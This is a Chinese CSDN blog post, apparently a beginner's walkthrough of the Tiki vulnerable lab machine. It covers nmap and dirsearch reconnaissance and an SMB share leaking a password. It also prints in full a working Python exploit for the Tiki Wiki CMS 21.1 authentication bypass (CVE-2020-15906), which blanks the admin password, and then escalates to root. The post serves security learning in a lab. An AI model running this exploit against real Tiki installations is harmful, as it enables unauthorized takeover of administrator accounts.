记一次面向WP的TIKI靶机渗透

本文记录了作者初次进行渗透测试的过程,使用Nmap扫描靶机,发现TikiWikiCMS的AuthenticationBypass漏洞,并通过python脚本利用该漏洞。过程中提到养成使用sudo而非root终端的习惯以及对其他端口如SMB漏洞的观察。
摘要由CSDN通过智能技术生成

寒假闲着无聊就像找个靶机先打起来。

刚入门,所以就先面向wp,熟悉一下渗透测试的整个流程。

这里都是用root终端打的靶,但是看过红队笔记的渗透,说是不要用root终端,还是要养成打sudo的习惯,说是在正式的红蓝攻防里会吃亏,咱们没打过,也不知道吃亏在哪,有机会去问问大佬。

1.信息收集(BTW 基本上所有扫到的信息都要写进md里)

先用nmap扫,确定靶机ip。

扫出来1,2,130,131,254,五个ip。

对比发现是131。

所以靶机地址为:192.168.107.131。

tips:在这里还发现个小问题,就是一开始用VM导入tiki的时候,没有改tiki的网络设置导致一直扫不到这个131地址,还傻傻的因为1这个地址有很多端口开放所以把1当作靶机ip开始下一步.....

ok开始下一步。

在开始之前,先浅浅学习一下nmap的使用。

虫洞:​​​​​​https://blog.csdn.net/qq_37964989/article/details/84330693

用nmap扫描靶机开放端口

这里用-sS,说是又快又安全。

然后-p-扫描全部0-65535全部端口。

这里的最小发包速率--min-rate是红队笔记视频里看来的,说是看过很多nmap的manpage之后得出的一个个人习惯,但是我去看了nmap的国内网的指南,没有看到这个--min-rate的建议,但是看到了这个T4。

所以完整语句是:

sudo nmap -sS -p- --min-rate 10000 T4  IP

扫出来发现这里有四个端口喔。 

最屁股还被看到了攻击机的环境....nmap牛逼。

再基于端口重扫。

22:ssh端口先不用去管它,一般来说是用hydra进行字典爆破的漏洞,然后等下要考,嘿嘿。

然后看到80端口,扫出来有个进去之后发现是个阿帕车的网站。

嘿嘿,看不懂英文,所以我们目录爆破一下。

用的是dirsearch,为什么?

因为花花绿绿的比dirb好看。

ok扫出来两个东西,一个是robots.txt,一个是tiki。

我们访问robots.txt发现也给了一个tiki。

进去看看。

直接看到了一个名为TIKIWIKI的cms(内容管理系统)。

但是也没给我们版本号,wp说版本号一般都在系统的更新日志里面,所以我们继续dir。

发现一个changelog.txt。应该是更新目录。

然后发现最新的版本号是21.1。

那就找找有啥漏洞。

这里用kali自带的searchsploit。

在这之前看一下它的用法。

https://blog.csdn.net/2201_75857562/article/details/128948608

sudo searchsploit Tiki Wiki CMS 21.1

发现有个Authentication Bypass(身份验证绕过)漏洞,有个python脚本可以用。

给它下下来。

cat 48927.py 
# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64

#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys

banner = '''

████████ ██ ██   ██ ██ ██     ██ ██ ██   ██ ██     ██████   ██    ██ 
   ██    ██ ██  ██  ██ ██     ██ ██ ██  ██  ██          ██ ███   ███ 
   ██    ██ █████   ██ ██  █  ██ ██ █████   ██      █████   ██    ██ 
   ██    ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██     ██       ██    ██ 
   ██    ██ ██   ██ ██  ███ ███  ██ ██   ██ ██     ███████  ██ ██ ██ 
                                                                     

 █████  ██    ██ ████████ ██   ██ ███████ ███    ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███    ██         ██████  ██    ██ ██████   █████  ███████ ███████ 
██   ██ ██    ██    ██    ██   ██ ██      ████   ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████   ██         ██   ██  ██  ██  ██   ██ ██   ██ ██      ██      
███████ ██    ██    ██    ███████ █████   ██ ██  ██    ██    ██ ██      ███████    ██    ██ ██    ██ ██ ██  ██         ██████    ████   ██████  ███████ ███████ ███████ 
██   ██ ██    ██    ██    ██   ██ ██      ██  ██ ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ██  ██ ██         ██   ██    ██    ██      ██   ██      ██      ██ 
██   ██  ██████     ██    ██   ██ ███████ ██   ████    ██    ██  ██████ ██   ██    ██    ██  ██████  ██   ████         ██████     ██    ██      ██   ██ ███████ ███████ 
                                                                                                                                                                        
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''




def main():
    if(len(sys.argv) < 2):
        print(banner)
        print("Usage: %s <host> " % sys.argv[0])
        print("Eg:    %s 1.2.3.4 " % sys.argv[0])
        return


    rhost = sys.argv[1]
    url = "http://"+rhost+"/tiki/tiki-login.php"

    session = requests.Session()

    def get_ticket():
        r = requests.get(url)
        login_page = r.text.encode('utf-8')
        html = lxml.html.fromstring(login_page)
        auth = html.xpath('//input[@name="ticket"]/@value')

        return str(auth)[2:-2]

    def get_cookie():
        session.get(url)
        return session.cookies.get_dict()


    cookie = get_cookie()
    ticket = get_ticket()

    payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
    headers = {
        'Host': rhost,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzrhost, deflate',
        'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '125',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0',
    }


    for i in range(60):
        r = session.post(url, payload, headers)
        if("Account requires administrator approval." in r.text):
            print("Admin Password got removed.")
            print("Use BurpSuite to login into admin without a password ")



if(__name__ == '__main__'):
    main()#   

代码审计发现需要一个url,而且它代码自动加入tiki/login.php。

那就运行一下。

发现它移除了管理员登录时的密码。

那我们在网页上尝试登录。

发现密码不能为空。

那咋办,用bp抓包然后修改passwd,直接forward。

进去了。

然后开始漫无目的看里面有啥。

1:这里有个乱码。(百度一下发现是silky的ssh密码.....因为太多人打过这个靶了)

2:这里可能有个文件上传漏洞。(因为只会这个,试过之后发现不行,应该是有过滤)。

3:我自己没找到,wp说这里有个计划任务(兔子洞)。

 用way1测试一下。

 发现进去了。

查看权限发现是3A,那就直接sudo su,进入root,看目录发现有flag.txt,直接cat。

ok,这里其实就到此为止了,只走了80端口一条路,其实反看上面,139,445端口还是有smb漏洞可以利用。

我们来看一下。

返现有三个sharename,这个Notes能看懂。

那就继续看,发现有个Mail.txt,下载下来看一下,发现看到了silky的密码,尝试一下发现能在网页上登上去。

就写到这里吧.... 

  • 28
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值